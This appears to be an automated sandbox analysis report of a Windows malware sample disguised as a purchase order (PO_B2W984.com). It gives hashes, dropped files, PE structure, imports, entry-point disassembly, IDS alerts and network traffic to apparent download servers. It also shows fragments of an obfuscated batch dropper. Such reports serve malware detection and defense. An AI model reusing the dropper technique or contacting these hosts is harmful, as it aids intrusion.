SHA-256:	4C1614F48CC1998B7E1F23C15AB0F0E2F4C9356EC05FF413FC5BE98D98EC8ACB
SHA-512:	5525D32CB43E6976D8F04EB60281DC7194E8FBC05D39098FD9EBA5E0BDD50C9246A5FA8A88A601940369A97589351F848AD0AB56D6B5B97470FCDBF076572AAE
Malicious:	true
Preview:	...8...............................................................................................8...9.............8...*............................................................................................................................................................................{.."..~.......{..........!.......#...............!.......}................... .(...{.'......\|).%.... .........~.........$..\|... ..%}.~.....................#\|....{...{...........{....('..~.%....~.........}...\|...............$...................$.....\|{.$.~\|.....\|.\|.......}$..... .\|~.. ...'......$."~...#!...#........!..\|...~...\|.{....~\|...... ........}......&.........~{.........&\|... ............ ...!.......%...............}.....$..........{....\|...........~%.....\|...}...#..%.{....&.........(...{.....#!. .......\|.....#....{...........................~%.................}}.......{......\|...........).....\|.\|....%"...\|........(..FFI.S.J.<.N.

C:\Users\Public\Libraries\Oupzhkpr.PIF

Download File

Process:	C:\Users\user\Desktop\PO_B2W984.com
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2145792
Entropy (8bit):	7.486736694173577
Encrypted:	false
SSDEEP:	49152:EdqswGco/j1HEFW1bB9HI8QrwiycY5vtxq5GtGco/j1HEFW1bB9HI8QrwiycY5vF:E8swjWdb1jWdbJ
MD5:	F7D9FFE252E26320F26A76FC3F239C50
SHA1:	1B12238410D619F0797042CA0777D7C05B08F410
SHA-256:	9654CBD553DF628F50A99EC6F8B405901898C3C9EB99C8A3BA4FBD586290948B
SHA-512:	7E83E17A42F8C2FC0A8743AD43FF592CBE48BEBE075889C98091424E395C72C50F807DE5746F8A5E9CB07466798AF12462AFC52EDC5B3374F64ADA3CCE357AB9
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 27%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B............................8.......@....@..........................P!..................@...........................@...%......TF.......................l...................................................G...............................text............ .................. ..`.itext..T....0.......$.............. ..`.data... ....@......................@....bss.....6...............................idata...%...@...&..................@....tls....4....p...........................rdata..............................@..@.reloc...l.......n..................@..B.rsrc...TF.......H...v..............@..@.............@!....... .............@..@................................................................................................

C:\Users\Public\Libraries\rpkhzpuO.pif

Download File

Process:	C:\Users\user\Desktop\PO_B2W984.com
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	175800
Entropy (8bit):	6.631791793070417
Encrypted:	false
SSDEEP:	3072:qjyOm0e6/bIhbuwxlEb1MpG+xUEyAn0fYuDGOpPXFZ7on+gUxloDMq:qjyl6ebX45OG+xUEWfYUGOpPXFZ7on+G
MD5:	22331ABCC9472CC9DC6F37FAF333AA2C
SHA1:	2A001C30BA79A19CEAF6A09C3567C70311760AA4
SHA-256:	BDFA725EC2A2C8EA5861D9B4C2F608E631A183FCA7916C1E07A28B656CC8EC0C
SHA-512:	C7F5BAAD732424B975A426867D3D8B5424AA830AA172ED0FF0EF630070BF2B4213750E123A36D8C5A741E22D3999CA1D7E77C62D4B77D6295B20A38114B7843C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................................................................................................................................................................................................................................................................................PE..L....>.{..................................... ....@.......................... .......c........... ..............................................................H....................................................................................text............................... ..`.data........ ...P..................@....tls.................`..............@....rdata...............b..............@..P.idata... ...........d..............@..@.edata...............\|..8...,...@...@..@

C:\Users\Public\Oupzhkpr.url

Download File

Process:	C:\Users\user\Desktop\PO_B2W984.com
File Type:	MS Windows 95 Internet shortcut text (URL=<file:"C:\\Users\\Public\\Libraries\\Oupzhkpr.PIF">), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	104
Entropy (8bit):	5.156734550410475
Encrypted:	false
SSDEEP:	3:HRAbABGQYmTWAX+rSF55i0XM1N6XL3vsbxbVbAIA5ov:HRYFVmTWDyzKNafExbVs2v
MD5:	FB3D5D8A14664ED4C4E754BA1C68AC30
SHA1:	706580AE564D3FB316FFCCB74AF60BD21424923B
SHA-256:	EC200831AA481803FB7421C284F619BA6C32FD19E06EFAEDF7D7F47E68A591AF
SHA-512:	0DF92E6DE01CE72C294EE8CB418C4579AE8A6E0E9A455103E612CEA6CDA88B51EBB247C690FD8DA9C92009C0340A4593430B3ADA2F934C13260C4ACCB337F23E
Malicious:	true
Preview:	[InternetShortcut]..URL=file:"C:\\Users\\Public\\Libraries\\Oupzhkpr.PIF"..IconIndex=900607..HotKey=80..

C:\Users\Public\OupzhkprF.cmd

Download File

Process:	C:\Users\user\Desktop\PO_B2W984.com
File Type:	DOS batch file, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	15789
Entropy (8bit):	4.658965888116939
Encrypted:	false
SSDEEP:	384:wleG1594aKczJRP1dADCDswtJPZ9KZVst1U:LA4aLz08JaJ
MD5:	CCE3C4AEE8C122DD8C44E64BD7884D83
SHA1:	C555C812A9145E2CBC66C7C64BA754B0C7528D6D
SHA-256:	4A12ABB62DD0E5E1391FD51B7448EF4B9DA3B3DC83FF02FB111E15D6A093B5E8
SHA-512:	EA23EDFB8E3CDA49B78623F6CD8D0294A4F4B9B11570E8478864EBDEE39FCC6B8175B52EB947ED904BE27B5AF2535B9CA08595814557AE569020861A133D827D
Malicious:	false
Preview:	.@echo off..@% %e%.%c%o..%h%. .......%o%r.r.r.....% %.......%o%..%f% .%f%o%..s%...... .%e%.r.%t%...o..r.% %.....%"%.......%u%.%T%r..%A%..%j%r........%=%.. o......%s%....o...%e%.....%t%.% %........%"%.r.......o%..%uTAj%"%.. . ..%N%.r r.... %U%... .oo...%M%r.........%j%.....%=%.....o....%=%.%"%r...... %..%uTAj%"% .....%m%..oo%X%.o.. %m%.....or.%w%....%O%.%g%.....%B%.o .r.. %W%..%D%........%t%o.r...%%NUMj%h% ...o.%t%..%t%o......o%p%.........%"% .r%..%uTAj%"% .... ..%G%...o.. ..%n%..rr..%j%..o......%D%...o .r..%R%r.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.486736694173577
TrID:	Win32 Executable (generic) a (10002005/4) 98.66% Windows ActiveX control (116523/4) 1.15% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	PO_B2W984.com
File size:	2'145'792 bytes
MD5:	f7d9ffe252e26320f26a76fc3f239c50
SHA1:	1b12238410d619f0797042ca0777d7c05b08f410
SHA256:	9654cbd553df628f50a99ec6f8b405901898c3c9eb99c8a3ba4fbd586290948b
SHA512:	7e83e17a42f8c2fc0a8743ad43ff592cbe48bebe075889c98091424e395c72c50f807de5746f8a5e9cb07466798af12462afc52edc5b3374f64ada3cce357ab9
SSDEEP:	49152:EdqswGco/j1HEFW1bB9HI8QrwiycY5vtxq5GtGco/j1HEFW1bB9HI8QrwiycY5vF:E8swjWdb1jWdbJ
TLSH:	8FA5D033E960D578ECBA37FC5C1752D8D44D3E752EDAF47D21DAAA841721B223868283
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x46380c
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	c1249b2dc81238026e760db6b73b768c

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00462D44h
call 00007FA398A57E7Dh
mov eax, dword ptr [0052EF7Ch]
mov eax, dword ptr [eax]
call 00007FA398AA537Dh
mov ecx, dword ptr [0052ED90h]
mov eax, dword ptr [0052EF7Ch]
mov eax, dword ptr [eax]
mov edx, dword ptr [004628E4h]
call 00007FA398AA537Dh
mov eax, dword ptr [0052EF7Ch]
mov eax, dword ptr [eax]
call 00007FA398AA53F1h
call 00007FA398A55C60h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x134000	0x25ac	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x140000	0xd4654	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x139000	0x6cd8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x138000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x13471c	0x5dc	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x61fe4	0x62000	54bccdfb230aecbacc5dc4836bb40e62	False	0.5120401187818877	data	6.547957158295364	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x63000	0x854	0xa00	f9a41c84e5fdd4f1ee3395fb29f42e84	False	0.523828125	data	5.584231542920759	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x64000	0xcb120	0xcb200	27dff9af1314283e7c0c621093c35f58	False	0.6564915865384615	data	7.465742401908973	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x130000	0x369c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x134000	0x25ac	0x2600	902f126de362c99ae2b20adf830938cb	False	0.31938733552631576	data	5.045673551358589	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x137000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x138000	0x18	0x200	4b2adcf7cfdd802a95428d44a20a5f89	False	0.05078125	data	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x139000	0x6cd8	0x6e00	0278e681effa7fbcc52ec0b51ce696ab	False	0.6368607954545454	data	6.6913122302764805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x140000	0xd4654	0xd4800	523e395b34b9ab2a31c6f4a19f889cf4	False	0.6411638327205882	data	7.46297786535702	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0x140bd0	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0x140d04	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0x140e38	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0x140f6c	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0x1410a0	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0x1411d4	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0x141308	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0x14143c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x14160c	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0x1417f0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0x1419c0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0x141b90	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0x141d60	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0x141f30	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0x142100	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x1422d0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0x1424a0	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0x142670	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x142758	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 1889 x 1889 px/m			0.4104609929078014
RT_ICON	0x142bc0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 1889 x 1889 px/m			0.2815573770491803
RT_ICON	0x143548	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 1889 x 1889 px/m			0.20567542213883677
RT_ICON	0x1445f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 1889 x 1889 px/m			0.14844398340248963
RT_ICON	0x146b98	0x15ef	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			0.9403383793410508
RT_DIALOG	0x148188	0x52	data			0.7682926829268293
RT_DIALOG	0x1481dc	0x52	data			0.7560975609756098
RT_STRING	0x148230	0x29c	data			0.4505988023952096
RT_STRING	0x1484cc	0x2b4	data			0.476878612716763
RT_STRING	0x148780	0xb4	data			0.6888888888888889
RT_STRING	0x148834	0xe8	data			0.6422413793103449
RT_STRING	0x14891c	0x2a8	data			0.4764705882352941
RT_STRING	0x148bc4	0x3e8	data			0.382
RT_STRING	0x148fac	0x370	data			0.4022727272727273
RT_STRING	0x14931c	0x3cc	data			0.33539094650205764
RT_STRING	0x1496e8	0x214	data			0.49624060150375937
RT_STRING	0x1498fc	0xcc	data			0.6274509803921569
RT_STRING	0x1499c8	0x194	data			0.5643564356435643
RT_STRING	0x149b5c	0x3c4	data			0.3288381742738589
RT_STRING	0x149f20	0x338	data			0.42961165048543687
RT_STRING	0x14a258	0x294	data			0.42424242424242425
RT_RCDATA	0x14a4ec	0x10	data			1.5
RT_RCDATA	0x14a4fc	0x368	data			0.7029816513761468
RT_RCDATA	0x14a864	0xc9301	GIF image data, version 89a, 384 x 288	English	United States	0.6578109736489234
RT_RCDATA	0x213b68	0x188	Delphi compiled form 'TMainForm'			0.7168367346938775
RT_GROUP_CURSOR	0x213cf0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x213d04	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x213d18	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x213d2c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x213d40	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x213d54	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x213d68	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x213d7c	0x4c	data			0.8289473684210527
RT_VERSION	0x213dc8	0x88c	data	English	United States	0.2180073126142596

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, RectVisible, RealizePalette, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, ExcludeClipRect, DeleteObject, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MultiByteToWideChar, MulDiv, LockResource, LoadResource, LoadLibraryExA, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
oleaut32.dll	CreateErrorInfo, GetErrorInfo, SetErrorInfo, SysFreeString
ole32.dll	CoCreateInstance, CoUninitialize, CoInitialize
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-03T02:47:08.540332+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.11.20	49747	41.185.8.252	443	TCP
2025-01-03T02:47:14.889412+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.11.20	49748	132.226.8.169	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 02:47:07.777347088 CET	49746	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:07.777426004 CET	443	49746	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:07.777565956 CET	49746	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:07.778639078 CET	49746	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:07.778702974 CET	443	49746	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:07.778846979 CET	49746	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:07.798082113 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:07.798106909 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:07.798398018 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:07.800714970 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:07.800734043 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:08.540020943 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:08.540332079 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:08.544358969 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:08.544374943 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:08.544713020 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:08.572139025 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:08.614212990 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.257642984 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.257666111 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.257829905 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.257846117 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.306694031 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.617723942 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.617732048 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.618010044 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.618062019 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.621902943 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.621911049 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.622133017 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.622278929 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.622648001 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.622656107 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.622920990 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.660787106 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.660793066 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.661128998 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.982264042 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.982269049 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.982533932 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.983028889 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.983221054 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.983407021 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.983767033 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.984002113 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.984427929 CET	443	49747	41.185.8.252	192.168.11.20
Jan 3, 2025 02:47:09.984577894 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.984664917 CET	49747	443	192.168.11.20	41.185.8.252
Jan 3, 2025 02:47:09.985135078 CET	443	49747	41.185.8.252	192.168.11.20
